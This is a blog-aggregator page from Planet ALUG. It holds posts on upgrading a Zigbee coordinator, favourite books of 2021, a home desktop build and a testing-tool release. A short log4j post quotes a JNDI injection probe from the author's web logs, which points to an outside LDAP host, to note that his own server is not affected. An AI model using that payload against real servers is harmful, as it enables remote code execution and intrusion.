Planet ALUG

January 04, 2022

Jonathan McDowell

Upgrading from a CC2531 to a CC2538 Zigbee coordinator

Previously I setup a CC2531 as a Zigbee coordinator for my home automation. This has turned out to be a good move, with the 4 gang wireless switch being particularly useful. However the range of the CC2531 is fairly poor; it has a simple PCB antenna. It’s also a very basic device. I set about trying to improve the range and scalability and settled upon a CC2538 + CC2592 device, which feature an MMCX antenna connector. This device also has the advantage that it’s ARM based, which I’m hopeful means I might be able to build some firmware myself using a standard GCC toolchain.

For now I fetched the JetHome firmware from https://github.com/jethome-ru/zigbee-firmware/tree/master/ti/coordinator/cc2538_cc2592 (JH_2538_2592_ZNP_UART_20211222.hex) - while it’s possible to do USB directly with the CC2538 my board doesn’t have those bits so going the external USB UART route is easier.

The device had some existing firmware on it, so I needed to erase this to force a drop into the boot loader. That means soldering up the JTAG pins and hooking it up to my Bus Pirate for OpenOCD goodness.

OpenOCD config
source [find interface/buspirate.cfg]

buspirate_port /dev/ttyUSB1
buspirate_mode normal
buspirate_vreg 1
buspirate_pullup 0

transport select jtag

source [find target/cc2538.cfg]
Steps to erase
$ telnet localhost 4444
Trying ::1...
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
Open On-Chip Debugger
> mww 0x400D300C 0x7F800
> mww 0x400D3008 0x0205
> shutdown
shutdown command invoked
Connection closed by foreign host.

At that point I can switch to the UART connection (on PA0 + PA1) and flash using cc2538-bsl:

$ git clone https://github.com/JelmerT/cc2538-bsl.git
$ cc2538-bsl/cc2538-bsl.py -p /dev/ttyUSB1 -e -w -v ~/JH_2538_2592_ZNP_UART_20211222.hex
Opening port /dev/ttyUSB1, baud 500000
Reading data from /home/noodles/JH_2538_2592_ZNP_UART_20211222.hex
Firmware file: Intel Hex
Connecting to target...
CC2538 PG2.0: 512KB Flash, 32KB SRAM, CCFG at 0x0027FFD4
Primary IEEE Address: 00:12:4B:00:22:22:22:22
    Performing mass erase
Erasing 524288 bytes starting at address 0x00200000
    Erase done
Writing 524256 bytes starting at address 0x00200000
Write 232 bytes at 0x0027FEF88
    Write done
Verifying by comparing CRC32 calculations.
    Verified (match: 0x74f2b0a1)

I then wanted to migrate from the old device to the new without having to repair everything. So I shut down Home Assistant and backed up the CC2531 network information using zigpy-znp (which is already installed for Home Assistant):

python3 -m zigpy_znp.tools.network_backup /dev/zigbee > cc2531-network.json

I copied the backup to cc2538-network.json and modified the coordinator_ieee to be the new device’s MAC address (rather than end up with 2 devices claiming the same MAC if/when I reuse the CC2531) and did:

python3 -m zigpy_znp.tools.network_restore --input cc2538-network.json /dev/ttyUSB1

The old CC2531 needed unplugged first, otherwise I got an RuntimeError: Network formation refused, RF environment is likely too noisy. Temporarily unscrew the antenna or shield the coordinator with metal until a network is formed. error.

After that I updated my udev rules to map the CC2538 to /dev/zigbee and restarted Home Assistant. To my surprise it came up and detected the existing devices without any extra effort on my part. However that resulted in 2 coordinators being shown in the visualisation, with the old one turning up as unk_manufacturer. Fixing that involved editing /etc/homeassistant/.storage/core.device_registry and removing the entry which had the old MAC address, removing the device entry in /etc/homeassistant/.storage/zha.storage for the old MAC and then finally firing up sqlite to modify the Zigbee database:

$ sqlite3 /etc/homeassistant/zigbee.db
SQLite version 3.34.1 2021-01-20 14:10:07
Enter ".help" for usage hints.
sqlite> DELETE FROM devices_v6 WHERE ieee = '00:12:4b:00:11:11:11:11';
sqlite> DELETE FROM endpoints_v6 WHERE ieee = '00:12:4b:00:11:11:11:11';
sqlite> DELETE FROM in_clusters_v6 WHERE ieee = '00:12:4b:00:11:11:11:11';
sqlite> DELETE FROM neighbors_v6 WHERE ieee = '00:12:4b:00:11:11:11:11' OR device_ieee = '00:12:4b:00:11:11:11:11';
sqlite> DELETE FROM node_descriptors_v6 WHERE ieee = '00:12:4b:00:11:11:11:11';
sqlite> DELETE FROM out_clusters_v6 WHERE ieee = '00:12:4b:00:11:11:11:11';
sqlite> .quit

So far it all seems a bit happier than with the CC2531; I’ve been able to pair a light bulb that was previously detected but would not integrate, which suggests the range is improved.

(This post another in the set of “things I should write down so I can just grep my own website when I forget what I did to do foo”.)

January 04, 2022 03:50 PM

January 01, 2022

Chris Lamb

Favourite books of 2021: Classics

In my three most recent posts, I went over the memoirs and biographies, the non-fiction and fiction I enjoyed in 2021. But in the last of my 2021 book-related posts, however, I'll be going over my favourite classics.

Of course, the difference between regular fiction and a 'classic' is an ambiguous, arbitrary and often-meaningless distinction: after all, what does it matter if Hemingway's The Old Man and the Sea (from 1951) is a classic or not? The term also smuggles in some of the ethnocentric gatekeeping encapsulated in the term 'Western canon' too. Nevertheless, the label of 'classic' has some utility for me in that it splits up the vast amount of non-fiction I read in two...

Books that just missed the cut here include: Oscar Wilde's The Picture of Dorian Gray (moody and hilarious, but I cannot bring myself to include it due to the egregious antisemitism); Tolstoy's The Kreutzer Sonata (so angry! so funny!); and finally Notes from Underground by Fyodor Dostoevsky. Of significant note, though, would be the ghostly The Turn of the Screw by Henry James.

§

Heart of Darkness (1899)

Joseph Conrad

Heart of Darkness tells the story of Charles Marlow, a sailor who accepts an assignment from a Belgian trading company as a ferry-boat captain in the African interior, and the novella is widely regarded as a critique of European colonial rule in Africa. Loosely remade by Francis Ford Coppola as Apocalypse Now (1979), I started this book with the distinct possibility that this superb film adaptation would, for a rare treat, be 'better than the book'. However, Conrad demolished this idea of mine within two chapters, yet also elevated the film to a new level as well.

This was chiefly due to how observant Conrad was of the universals that make up human nature. Some of his insight pertains to the barbarism of the colonialists, of course, but Conrad applies his shrewd acuity to the at the smaller level as well. Some of these quotes are justly famous: “Ah! but it was something to have at least a choice of nightmares,” for example, as well as the reference to a fastidiously turned-out colonial administrator who, with unimaginable horrors occurring mere yards from his tent, we learn “he was devoted to his books, which were in applepie order”. (It seems to me to be deliberately unclear whether his devotion arises from gross inhumanity, utter denial or some combination of the two.) Oh, and there's a favourite moment of mine when a character remarks that “It was very fine for a time, but after a bit I did get tired of resting.”

Tired of resting! Yes, it's difficult to now say something original about a many-layered classic such as this, especially one that has analysed from so many angles already; from a literary perspective at first, of course, but much later from a critical postcolonial perspective, such as in Chinua Achebe's noted 1975 lecture, An Image of Africa. Indeed, the history of criticism in the twentieth century of Heart of Darkness must surely parallel the social and political developments in the Western world. (On a highly related note, the much-cited non-fiction book King Leopold's Ghost is on my reading list for 2022.)

I will therefore limit myself to saying that the boat physically falling apart as it journeys deeper into the Congo may be intended to represent that our idea of 'Western civilisation' ceases to function, both morally as well as physically, in this remote environment. And, whilst I'm probably not the first to notice the potential ambiguity, when Marlow lies to Kurtz's 'Intended [wife]' in the closing section in order to save her from being exposed to the truth about Kurtz (surely a metaphor about the ignorance of the West whilst also possibly incorporating some comment on gender?), the Intended replies: “I knew it.” For me, though, it is not beyond doubt that what the Intended 'knows' is that she knew that Marlow would lie to her: in other words, that the alleged ignorance of everyday folk in the colonial homeland is studied and deliberate. Compact and fairly easy-to-read, it is clear that Heart of Darkness rewards even the most rudimentary analysis.

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Rebecca (1938)

Daphne du Maurier

Daphne du Maurier creates in Rebecca a credible and suffocating atmosphere in the shape of Manderley, a grand English mansion owned by aristocratic widower Maxim de Winter. Our unnamed narrator (a young woman seemingly naïve in the ways of the world) meets Max in Monte Carlo, and she soon becomes the second Mrs. de Winter. The tale takes a turn to the 'gothic', though, when it becomes apparent that the unemotional Max, as well as potentially Manderley itself, appears to be haunted by the memory of his late first wife, the titular Rebecca.

Still, Rebecca is less of a story about supernatural ghosts than one about the things that can haunt our minds. For Max, this might be something around guilt; for our narrator, the class-centered fear that she will never fit in. Besides, Rebecca doesn't need an actual ghost when you have Manderley's overbearing housekeeper, Mrs Danvers, surely one of the creepiest characters in all of fiction. Either way, the conflict of a kind between the fears of the protagonists means that they never really connect with each other.

The most obvious criticism of Rebecca is that the main character is unreasonably weak and cannot quite think or function on her own. (Isn't it curious that the trait of the male 'everyman' is a kind of physical clumsiness yet the female equivalent is shorthanded by being slightly slow?) But the naïvete of Rebecca's narrator makes her easier to relate to in a way, and it also makes the reader far more capable of empathising with her embarrassment. This is demonstrated best whilst she, in one of the best evocations of this particular anxiety I have yet come across, is gingerly creeping around Manderlay and trying to avoid running into the butler.

A surprise of sorts comes in the latter stages of the book, and this particular twist brings us into contact with a female character who is anything but 'credulous'. This revelation might even change your idea of who the main character of this book really is too. (Speaking of amateur literary criticism, I have many fan theories about Rebecca, including that Maxim de Winter's estate manager, Frank Crawley, is actually having an affair with Max, and also that Maxim may have a lot more involvement in Mrs Danvers final act that he lets on.)

An easily accessible novel (with a great-but-not-perfect 1940 adaptation by Alfred Hitchcock, Rebecca is a real indulgence.

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A Clockwork Orange (1962)

Anthony Burgess

One of Stanley Kubrick's most prominent tricks was to use different visual languages in order to prevent the audience from immediately grasping the underlying story. In his 1975 Barry Lyndon, for instance, the intentionally sluggish pacing and elusive characters require significant digestion to fathom and appreciate, and the luminous and quasi-Renaissance splendour of the cinematography does its part to constantly distract the viewer from the film's greater meaning.

This is very much the case in Kubrick's A Clockwork Orange as well — whilst it ostensibly appears to be about a Saturnalia of violence, the 'greater meaning' of A Clockwork Orange pertains to the Christian conception of free will; admittedly, a much drier idea to bother making a film around. This is all made much clearer when reading Anthony Burgess' 1962 original novel. Alex became a 'true Christian' through the experimental rehabilitation process, and even offers to literally turn the other cheek at one point. But as Alex had no choice to do so (and can no longer choose to commit violence), he is incapable of making a free moral choice. Thus, is he really a Man?

Yet whilst the book's central concern is our conception of free will in modern societies, it also appears to be a repudiation of two conservative principles. Firstly, A Clockwork Orange demolishes the idea that 'high art' leads to morally virtuous citizens. After all, if you can do a “bit of the old ultra-violence” whilst listening to the “glorious 9th by old Ludvig van,” then so much for the oft-repeated claims that culture makes you better as a person. (This, at least, I already knew from personal experience.)

The other repudiation in A Clockwork Orange is in regard to the pervasive idea that the countryside is a refuge from crime and sin. By contrast, we see the gang commit their most horrific violence in rural areas, and, later, Alex is taken to the countryside by his former droogs for a savage beating. Although this doesn't seem to quite fit the novel, this was actually an important point for Burgess to include: otherwise his book could easily be read as a commentary on the corrupting influence of urban spaces, rather than of modernity itself.

The language of this book cannot escape comment here. Alex narrates most of the book in a language called Nadsat, a fractured slang constructed by Burgess based on Russian and Cockney rhyming slang. (The language is strange for only a few pages, I promise. And note that 'Alex' is a very common Russian name.) Using Nadsat has the effect of making the book feel distinctly alien, but it also prevents it from prematurely aging too. Indeed, it comes as bit of a shock to realise that A Clockwork Orange was published 1962, the same year as The Beatles' released their first single, Love Me Do.

I could probably say a whole lot more about this thoroughly engrossing book and its movie adaptation (eg. the meta-textual line in Kubrick's version: “It's funny how the colours of the real world only seem really real when you watch them on a screen...” appears verbatim in the textual original), but I'll leave it there. The book of A Clockwork Orange is not only worth the investment in the language, but is, again, somehow better than the film.

§

The Great Gatsby (1925)

F. Scott Fitzgerald

I'm actually being a little deceitful by including this book here: I cannot really say that The Great Gatsby was a 'favourite' read of the year, but its literary merit is so undeniable (and my respect for Fitzgerald's achievement is deep enough) that the experience was one of those pleasures you feel at seeing anything done well.

Here you have a book so rich in symbolic meaning that you could easily confuse the experience with drinking Coke syrup undiluted. And a text that has made the difficulty and complexity of reading character a prominent theme of the novel, as well as a technical concern of the book itself. Yet at all times you have in your mind that The Great Gatsby is first and foremost a book about a man writing a book, and, therefore, about the construction of stories and myths.

What is the myth being constructed in Gatsby? The usual answer today is that the book is really about the moral virtues of America. Or, rather, the lack thereof. Indeed, as James Boice wrote in 2016:

Could Wilson have killed Gatsby any other way? Could he have ran him over, or poisoned him, or attacked him with a knife? Not at all—this an American story, the quintessential one, so Gatsby could have only died the quintessential American death.

The “quintessential American death” is, of course, being killed with a gun.

Whatever your own analysis, The Great Gatsby is not only magnificently written, but it is captivating to the point where references intrude many months later. For instance, when reading something about Disney's 'princess culture', I was reminded of when Daisy says of her daughter: “I hope she'll be a fool—that's the best thing of a girl can be in this world, a beautiful little fool”. Or the billboard with the eyes of 'Doctor T. J. Eckleburg'. Or the fact that the books in Gatsby's library have never been read (so what is 'Owl Eyes' doing there during the party?!). And the only plain room in Gatsby's great house is his bedroom... Okay, fine, I must have been deluding myself: I love this novel.

January 01, 2022 06:38 PM

December 31, 2021

Chris Lamb

Favourite books of 2021: Fiction

In my two most recent posts, I listed the memoirs and biographies and followed this up with the non-fiction I enjoyed the most in 2021. I'll leave my roundup of 'classic' fiction until tomorrow, but today I'll be going over my favourite fiction.

Books that just miss the cut here include Kingsley Amis' comic Lucky Jim, Cormac McCarthy's The Road (although see below for McCarthy's Blood Meridian) and the Complete Adventures of Tintin by Hergé, the latter forming an inadvertently incisive portrait of the first half of the 20th century.

Like ever, there were a handful of books that didn't live up to prior expectations. Despite all of the hype, Emily St. John Mandel's post-pandemic dystopia Station Eleven didn't match her superb The Glass Hotel (one of my favourite books of 2020). The same could be said of John le Carré's The Spy Who Came in from the Cold, which felt significantly shallower compared to Tinker, Tailor, Soldier, Spy — again, a favourite of last year. The strangest book (and most difficult to classify at all) was undoubtedly Patrick Süskind's Perfume: The Story of a Murderer, and the non-fiction book I disliked the most was almost-certainly Beartown by Fredrik Bachman.

Two other mild disappointments were actually film adaptions. Specifically, the original source for Vertigo by Pierre Boileau and Thomas Narcejac didn't match Alfred Hitchock's 1958 masterpiece, as did James Sallis' Drive which was made into a superb 2011 neon-noir directed by Nicolas Winding Refn. These two films thus defy the usual trend and are 'better than the book', but that's a post for another day.

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A Wizard of Earthsea (1971)

Ursula K. Le Guin

How did it come to be that Harry Potter is the publishing sensation of the century, yet Ursula K. Le Guin's Earthsea is only a popular cult novel? Indeed, the comparisons and unintentional intertextuality with Harry Potter are entirely unavoidable when reading this book, and, in almost every respect, Ursula K. Le Guin's universe comes out the victor.

In particular, the wizarding world that Le Guin portrays feels a lot more generous and humble than the class-ridden world of Hogwarts School of Witchcraft and Wizardry. Just to take one example from many, in Earthsea, magic turns out to be nurtured in a bottom-up manner within small village communities, in almost complete contrast to J. K. Rowling's concept of benevolent government departments and NGOs-like institutions, which now seems a far too New Labour for me. Indeed, imagine an entire world imbued with the kindly benevolence of Dumbledore, and you've got some of the moral palette of Earthsea.

The gently moralising tone that runs through A Wizard of Earthsea may put some people off:

Vetch had been three years at the School and soon would be made Sorcerer; he thought no more of performing the lesser arts of magic than a bird thinks of flying. Yet a greater, unlearned skill he possessed, which was the art of kindness.

Still, these parables aimed directly at the reader are fairly rare, and, for me, remain on the right side of being mawkish or hectoring. I'm thus looking forward to reading the next two books in the series soon.

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Blood Meridian (1985)

Cormac McCarthy

Blood Meridian follows a band of American bounty hunters who are roaming the Mexican-American borderlands in the late 1840s. Far from being remotely swashbuckling, though, the group are collecting scalps for money and killing anyone who crosses their path. It is the most unsparing treatment of American genocide and moral depravity I have ever come across, an anti-Western that flouts every convention of the genre. Blood Meridian thus has a family resemblance to that other great anti-Western, Once Upon a Time in the West: after making a number of gun-toting films that venerate the American West (ie. his Dollars Trilogy), Sergio Leone turned his cynical eye to the western.

Yet my previous paragraph actually euphemises just how violent Blood Meridian is. Indeed, I would need to be a much better writer (indeed, perhaps McCarthy himself) to adequately 0utline the tone of this book. In a certain sense, it's less than you read this book in a conventional sense, but rather that you are forced to witness successive chapters of grotesque violence... all occurring for no obvious reason. It is often said that books 'subvert' a genre and, indeed, I implied as such above. But the term subvert implies a kind of Puck-like mischievousness, or brings to mind court jesters licensed to poke fun at the courtiers. By contrast, however, Blood Meridian isn't funny in the slightest. There isn't animal cruelty per se, but rather wanton negligence of another kind entirely. In fact, recalling a particular passage involving an injured horse makes me feel physically ill.

McCarthy's prose is at once both baroque in its language and thrifty in its presentation. As Philip Connors wrote back in 2007, McCarthy “has spent forty years writing as if he were trying to expand the Old Testament,” and learning that McCarthy grew up around the Church therefore came as no real surprise. As an example of his textual frugality, I often looked for greater precision in the text, finding myself asking whether who a particular 'he' is, or to which side of a fight some “two men” belonged to. Yet we must always remember that there is no precision to found in a gunfight, so this infidelity is turned into a virtue. It's not that these are fair fights anyway, or even 'murder': Blood Meridian is just slaughter; pure butchery. Murder is a gross understatement for what this book is, and at many points we are grateful that McCarthy spares us precision.

At others, however, we can be thankful for his exactitude. There is no ambiguity regarding the morality of the puppy-drowning Judge, for example: a Colonel Kurtz who has been given free license over the entire American south. There is, thank God, no danger of Hollywood mythologising him into a badass hero. Indeed, we must all be thankful that it is impossible to film this ultra-violent book... Indeed, the broader idea of 'adapting' anything to this world is, beyond sick.

An absolutely brutal read; I cannot recommend it highly enough.

§

Bodies of Light (2014)

Sarah Moss

Bodies of Light is a 2014 book by Glasgow-born Sarah Moss on the stirrings of women's suffrage within an arty clique in nineteenth-century England. Set in the intellectually smoggy cities of Manchester and London, this poignant book follows the studiously intelligent Alethia 'Ally' Moberly who is struggling to gain the acceptance of herself, her mother and the General Medical Council. You can read my full review from July.

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House of Leaves (2000)

Mark Z. Danielewski

House of Leaves is a remarkably difficult book to explain. Although the plot refers to a fictional documentary about a family whose house is somehow larger on the inside than the outside, this quotidian horror premise doesn't explain the complex meta-commentary that Danielewski adds on top. For instance, the book contains a large number of pseudo-academic footnotes (many of which contain footnotes themselves), with references to scholarly papers, books, films and other articles. Most of these references are obviously fictional, but it's the kind of book where the joke is that some of them are not. The format, structure and typography of the book is highly unconventional too, with extremely unusual page layouts and styles.

It's the sort of book and idea that should be a tired gimmick but somehow isn't. This is particularly so when you realise it seems specifically designed to create a fandom around it and to manufacturer its own 'cult' status, something that should be extremely tedious. But not only does this not happen, House of Leaves seems to have survived through two exhausting decades of found footage: The Blair Witch Project and Paranormal Activity are, to an admittedly lesser degree, doing much of the same thing as House of Leaves.

House of Leaves might have its origins in Nabokov's Pale Fire or even Derrida's Glas, but it seems to have more in common with the claustrophobic horror of Cube (1997). And like all of these works, House of Leaves book has an extremely strange effect on the reader or viewer, something quite unlike reading a conventional book. It wasn't so much what I got out of the book itself, but how it added a glow to everything else I read, watched or saw at the time. An experience.

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Milkman (2018)

Anna Burns

This quietly dazzling novel from Irish author Anna Burns is full of intellectual whimsy and oddball incident. Incongruously set in 1970s Belfast during The Irish Troubles, Milkman's 18-year-old narrator (known only as “middle sister”), is the kind of dreamer who walks down the street with a Victorian-era novel in her hand.

It's usually an error for a book that specifically mention other books, if only because inviting comparisons to great novels is grossly ill-advised. But it is a credit to Burns' writing that the references here actually add to the text and don't feel like they are a kind of literary paint by numbers. Our humble narrator has a boyfriend of sorts, but the figure who looms the largest in her life is a creepy milkman — an older, married man who's deeply integrated in the paramilitary tribalism. And when gossip about the narrator and the milkman surfaces, the milkman beings to invade her life to a suffocating degree.

Yet this milkman is not even a milkman at all. Indeed, it's precisely this kind of oblique irony that runs through this daring but darkly compelling book.

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The First Fifteen Lives of Harry August (2014)

Claire North

Harry August is born, lives a relatively unremarkable life and finally dies a relatively unremarkable death. Not worth writing a novel about, I suppose. But then Harry finds himself born again in the very same circumstances, and as he grows from infancy into childhood again, he starts to remember his previous lives. This loop naturally drives Harry insane at first, but after finding that suicide doesn't stop the quasi-reincarnation, he becomes somewhat acclimatised to his fate. He prospers much better at school the next time around and is ultimately able to make better decisions about his life, especially when he just happens to know how to stay out of trouble during the Second World War.

Yet what caught my attention in this 'soft' sci-fi book was not necessarily the book's core idea but rather the way its connotations were so intelligently thought through. Just like in a musical theme and varations, the success of any concept-driven book is far more a product of how the implications of the key idea are played out than how clever the central idea was to begin with. Otherwise, you just have another neat Borges short story: satisfying, to be sure, but in a narrower way.

From her relatively simple premise, for example, North has divined that if there was a community of people who could remember their past lives, this would actually allow messages and knowledge to be passed backwards and forwards in time. Ah, of course! Indeed, this very mechanism drives the plot: news comes back from the future that the progress of history is being interfered with, and, because of this, the end of the world is slowly coming. Through the lives that follow, Harry sets out to find out who is passing on technology before its time, and work out how to stop them.

With its gently-moralising romp through the salient historical touchpoints of the twentieth century, I sometimes got a whiff of Forrest Gump. But it must be stressed that this book is far less certain of its 'right-on' liberal credentials than Robert Zemeckis' badly-aged film. And whilst we're on the topic of other media, if you liked the underlying conceit behind Stuart Turton's The Seven Deaths of Evelyn Hardcastle yet didn't enjoy the 'variations' of that particular tale, then I'd definitely give The First Fifteen Lives a try. At the very least, 15 is bigger than 7.

More seriously, though, The First Fifteen Lives appears to reflect anxieties about technology, particularly around modern technological accelerationism. At no point does it seriously suggest that if we could somehow possess the technology from a decade in the future then our lives would be improved in any meaningful way. Indeed, precisely the opposite is invariably implied. To me, at least, homo sapiens often seems to be merely marking time until we can blow each other up and destroying the climate whilst sleepwalking into some crisis that might precipitate a thermonuclear genocide sometimes seems to be built into our DNA. In an era of cli-fi fiction and our non-fiction newspaper headlines, to label North's insight as 'prescience' might perhaps be overstating it, but perhaps that is the point: this destructive and negative streak is universal to all periods of our violent, insecure species.

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The Goldfinch (2013)

Donna Tartt

After Breaking Bad, the second biggest runaway success of 2014 was probably Donna Tartt's doorstop of a novel, The Goldfinch. Yet upon its release and popular reception, it got a significant number of bad reviews in the literary press — with, of course, an equal number of predictable think pieces claiming this was sour grapes on the part of the cognoscenti. Ah, to be in 2014 again, when our arguments were so much more trivial.

For the uninitiated, The Goldfinch is a sprawling bildungsroman that centres on Theo Decker, a 13-year-old whose world is turned upside down when a terrorist bomb goes off whilst visiting the Metropolitan Museum of Art, killing his mother among other bystanders. Perhaps more importantly, he makes off with a painting in order to fulfil a promise to a dying old man: Carel Fabritius' 1654 masterpiece The Goldfinch. For the next 14 years (and almost 800 pages), the painting becomes the only connection to his lost mother as he's flung, almost entirely rudderless, around the Western world, encountering an array of eccentric characters.

Whatever the critics claimed, Tartt's near-perfect evocation of scenes, from the everyday to the unimaginable, is difficult to summarise. I wouldn't label it 'cinematic' due to her evocation of the interiority of the characters. Take, for example: “Even the suggestion that my father had close friends conveyed a misunderstanding of his personality that I didn't know how to respond” — it's precisely this kind of relatable inner subjectivity that cannot be easily conveyed by film, likely is one of the main reasons why the 2019 film adaptation was such a damp squib. Tartt's writing is definitely not 'impressionistic' either: there are many near-perfect evocations of scenes, even ones we hope we cannot recognise from real life. In particular, some of the drug-taking scenes feel so credibly authentic that I sometimes worried about the author herself.

Almost eight months on from first reading this novel, what I remember most was what a joy this was to read. I do worry that it won't stand up to a more critical re-reading (the character named Xandra even sounds like the pharmaceuticals she is taking), but I think I'll always treasure the first days I spent with this often-beautiful novel.

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Beyond Black (2005)

Hilary Mantel

Published about five years before the hyperfamous Wolf Hall (2004), Hilary Mantel's Beyond Black is a deeply disturbing book about spiritualism and the nature of Hell, somewhat incongruously set in modern-day England. Alison Harte is a middle-aged physic medium who works in the various towns of the London orbital motorway. She is accompanied by her stuffy assistant, Colette, and her spirit guide, Morris, who is invisible to everyone but Alison.

However, this is no gentle and musk-smelling world of the clairvoyant and mystic, for Alison is plagued by spirits from her past who infiltrate her physical world, becoming stronger and nastier every day. Alison's smiling and rotund persona thus conceals a truly desperate woman: she knows beyond doubt the terrors of the next life, yet must studiously conceal them from her credulous clients.

Beyond Black would be worth reading for its dark atmosphere alone, but it offers much more than a chilling and creepy tale. Indeed, it is extraordinarily observant as well as unsettlingly funny about a particular tranche of British middle-class life. Still, the book's unnerving nature that sticks in the mind, and reading it noticeably changed my mood for days afterwards, and not necessarily for the best.

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The Wall (2019)

John Lanchester

The Wall tells the story of a young man called Kavanagh, one of the thousands of Defenders standing guard around a solid fortress that envelopes the British Isles. A national service of sorts, it is Kavanagh's job to stop the so-called Others getting in. Lanchester is frank about what his wall provides to those who stand guard: the Defenders of the Wall are conscripted for two years on the Wall, with no exceptions, giving everyone in society a life plan and a story.

But whilst The Wall is ostensibly about a physical wall, it works even better as a story about the walls in our mind. In fact, the book blends together of some of the most important issues of our time: climate change, increasing isolation, Brexit and other widening societal divisions. If you liked P. D. James' The Children of Men you'll undoubtedly recognise much of the same intellectual atmosphere, although the sterility of John Lanchester's dystopia is definitely figurative and textual rather than literal.

Despite the final chapters perhaps not living up to the world-building of the opening, The Wall features a taut and engrossing narrative, and it undoubtedly warrants even the most cursory glance at its symbolism. I've yet to read something by Lanchester I haven't enjoyed (even his short essay on cheating in sports, for example) and will be definitely reading more from him in 2022.

§

The Only Story (2018)

Julian Barnes

The Only Story is the story of Paul, a 19-year-old boy who falls in love with 42-year-old Susan, a married woman with two daughters who are about Paul's age. The book begins with how Paul meets Susan in happy (albeit complicated) circumstances, but as the story unfolds, the novel becomes significantly more tragic and moving.

Whilst the story begins from the first-person perspective, midway through the book it shifts into the second person, and, later, into the third as well. Both of these narrative changes suggested to me an attempt on the part of Paul the narrator (if not Barnes himself), to distance himself emotionally from the events taking place. This effect is a lot more subtle than it sounds, however: far more prominent and devastating is the underlying and deeply moving story about the relationship ends up. Throughout this touching book, Barnes uses his mastery of language and observation to avoid the saccharine and the maudlin, and ends up with a heart-wrenching and emotive narrative. Without a doubt, this is the saddest book I read this year.

December 31, 2021 04:39 PM

December 29, 2021

Mick Morgan

trivia’s birthday

My old friend Rob has just messaged me to question why I missed noting trivia’s birthday this year (born 24th of December 2006, so now an astonishing 15 years old and almost eligible to vote).

So this is for you Rob.

No, I haven’t forgotten. and no I am not dead.

Happy New Year to all my readers (both of you).

by Mick at December 29, 2021 06:48 PM

December 17, 2021

Mick Morgan

log4j

I guess that there are a lot of busy sysadmins around at the moment. My web logs are full of crud like:

“GET /$%7Bjndi:ldap://123.345.567:789/Exploit%7D”

and much lengthier entries trying to exploit the log4j vulnerability.

In my case (and for this instance) I’m not that bothered because, luckily, I don’t run Apache, or any of its frameworks or the log4j2 java logging library. But the scale of the problem must be huge if the ‘bots are probing non-apache servers. You’d think they would at least check the server software before continuing the attack.

by Mick at December 17, 2021 04:17 PM

December 02, 2021

Jonathan McDowell

Building a desktop to improve my work/life balance

ASRock DeskMini X300

It’s been over 20 months since the first COVID lockdown kicked in here in Northern Ireland and I started working from home. Even when the strict lockdown was lifted the advice here has continued to be “If you can work from home you should work from home”. I’ve been into the office here and there (for new starts given you need to hand over a laptop and sort out some login details it’s generally easier to do so in person, and I’ve had a couple of whiteboard sessions that needed the high bandwidth face to face communication), but day to day is all from home.

Early on I commented that work had taken over my study. This has largely continued to be true. I set my work laptop on the stand on a Monday morning and it sits there until Friday evening, when it gets switched for the personal laptop. I have a lovely LG 34UM88 21:9 Ultrawide monitor, and my laptops are small and light so I much prefer to use them docked. Also my general working pattern is to have a lot of external connections up and running (build machine, test devices, log host) which means a suspend/resume cycle disrupts things. So I like to minimise moving things about.

I spent a little bit of time trying to find a dual laptop stand so I could have both machines setup and switch between them easily, but I didn’t find anything that didn’t seem to be geared up for DJs with a mixer + laptop combo taking up quite a bit of desk space rather than stacking laptops vertically. Eventually I realised that the right move was probably a desktop machine.

Now, I haven’t had a desktop machine since before I moved to the US, realising at the time that having everything on my laptop was much more convenient. I decided I didn’t want something too big and noisy. Cheap GPUs seem hard to get hold of these days - I’m not a gamer so all I need is something that can drive a ~ 4K monitor reliably enough. Looking around the AMD Ryzen 7 5700G seemed to be a decent CPU with one of the better integrated GPUs. I spent some time looking for a reasonable Mini-ITX case + motherboard and then I happened upon the ASRock DeskMini X300. This turns out to be perfect; I’ve no need for a PCIe slot or anything more than an m.2 SSD. I paired it with a Noctua NH-L9a-AM4 heatsink + fan (same as I use in the house server), 32GB DDR4 and a 1TB WD SN550 NVMe SSD. Total cost just under £650 inc VAT + delivery (and that’s a story for another post).

A desktop solves the problem of fitting both machines on the desk at once, but there’s still the question of smoothly switching between them. I read Evgeni Golov’s article on a simple KVM switch for €30. My monitor has multiple inputs, so that’s sorted. I did have a cheap USB2 switch (all I need for the keyboard/trackball) but it turned out to be pretty unreliable at the host detecting the USB change. I bought a UGREEN USB 3.0 Sharing Switch Box instead and it’s turned out to be pretty reliable. The problem is that the LG 32UM88 turns out to have a poor DDC implementation, so while I can flip the keyboard easily with the UGREEN box I also have to manually select the monitor input. Which is a bit annoying, but not terrible.

The important question is whether this has helped. I built all this at the end of October, so I’ve had a month to play with it. Turns out I should have done it at some point last year. At the end of the day instead of either sitting “at work” for a bit longer, or completely avoiding the study, I’m able to lock the work machine and flick to my personal setup. Even sitting in the same seat that “disconnect”, and the knowledge I won’t see work Slack messages or emails come in and feeling I should respond, really helps. It also means I have access to my personal setup during the week without incurring a hit at the start of the working day when I have to set things up again. So it’s much easier to just dip in to some personal tech stuff in the evening than it was previously. Also from the point of view I don’t need to setup the personal config, I can pick up where I left off. All of which is really nice.

It’s also got me thinking about other minor improvements I should make to my home working environment to try and improve things. One obvious thing now the winter is here again is to improve my lighting; I have a good overhead LED panel but it’s terribly positioned for video calls, being just behind me. So I think I’m looking some sort of strip light I can have behind the large monitor to give a decent degree of backlight (possibly bouncing off the white wall). Lots of cheap options I’m not convinced about, and I’ve had a few ridiculously priced options from photographer friends; suggestions welcome.

December 02, 2021 08:00 PM

July 12, 2021

Daniel Silverstone (Kinnison)

Subplot - First public alpha release

This weekend we (Lars and I) finished our first public alpha release of Subplot. Subplot is a tool for helping you to document your acceptance criteria for a project in such a way that you can also produce a programmatic test suite for the verification criteria. We centre this around the concept of writing a Markdown document about your project, with the option to write Gherkin-like given/when/then scenarios inside which detail the automated verification of the acceptance criteria.

This may sound very similar to Yarn, a similar concept which Lars, Richard, and I came up with in 2013. Critically back then we were very 'software engineer' focussed and so Yarn was a testing tool which happened to also produce reasonable documentation outputs if you squinted sideways and tried not to think too critically about them. Subplot on the other hand considers the documentation output to be just as important, if not more important, than the test suite output. Yarn was a tool which ran tests embedded in Markdown files, where Subplot is a documentation tool capable of extracting tests from an acceptance document for use in testing your project.

